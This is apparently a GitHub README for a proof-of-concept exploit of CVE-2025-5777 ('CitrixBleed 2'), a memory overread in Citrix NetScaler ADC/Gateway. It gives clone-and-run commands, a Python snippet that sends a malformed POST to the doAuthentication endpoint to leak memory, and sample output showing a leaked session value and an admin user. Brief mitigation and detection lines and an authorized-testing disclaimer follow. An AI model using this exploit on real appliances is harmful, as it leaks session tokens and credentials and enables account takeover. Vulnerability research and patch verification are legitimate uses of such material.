CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Description

CVE-2025-5777 Citrix NetScaler Memory Leak Exploit (CitrixBleed 2)

Readme

# CVE-2025-5777 - Citrix NetScaler Memory Leak Exploit

![Banner](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/refs/heads/main/images/logo.png)  

---

## **📌 Overview**  
This tool demonstrates **CVE-2025-5777**, a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway devices. The exploit leaks sensitive memory contents via malformed authentication requests.  

**Key Features:**  
✔ **Memory leak detection** via XML response parsing  
✔ **Hex+ASCII dump** of leaked memory regions  
✔ **Burp Suite-compatible** request format  
✔ **Asynchronous requests** for efficient testing  

---

## **🔍 Proof-of-Concept**  
### **1. Vulnerable Request (Burp Suite)**  
![Burp Request](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/main/images/burpsuite.png)  

### **2. Exploit in Action**  
![Tool Execution](https://raw.githubusercontent.com/bughuntar/CVE-2025-5777/main/images/tools.png)  

---

## **⚡ Quick Start**  
```bash
git clone https://github.com/bughuntar/CVE-2025-5777.git
cd CVE-2025-5777
pip install requests beautifulsoup4 aiohttp colorama
chmod +x citrix_memory_leak.py
python3 citrix_memory_leak.py https://target-netscaler.com
```

**Expected Output:**  
```diff
+ [+] Memory leak detected!
--- Leaked Memory Hex Dump ---
00000000  73 65 73 73 69 6F 6E 3D 31 32 33 34 35 36 37 38  session=12345678
00000010  55 73 65 72 3A 20 61 64 6D 69 6E 00 00 00 00 00  User: admin.....
```

---

## **🛡️ Mitigation**  
| Action | Command/Reference |
|--------|------------------|
| **Patch** | [Citrix Security Bulletin](https://support.citrix.com/) |
| **WAF Rule** | `Block POST /p/u/doAuthentication.do with malformed params` |
| **Detection** | `grep 'POST /p/u/doAuthentication.do' netscaler.log` |

---

## **📚 Resources**  
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-5777)  
- [Technical Writeup](https://bughuntar.medium.com/citrixbleed-2-cve-2025-5777-from-research-to-real-world-exploitation-and-tool-development-c0bead425cee)  

---

## **🖥️ Code Highlights**  
```python
# Malformed request trigger
async def exploit(target):
    async with aiohttp.post(
        f"{target}/p/u/doAuthentication.do",
        data="login",  # Missing equals sign triggers leak
        ssl=False
    ) as response:
        await parse_leak(await response.read())
```

---

## **⚠️ Legal Notice**  
```diff
- This tool is for authorized testing ONLY.
- Unauthorized use violates international cybersecurity laws.
```
**Full disclaimer:** [DISCLAIMER.md](./DISCLAIMER.md)  

**Author:** [Professor the Hunter](https://x.com/bughuntar)

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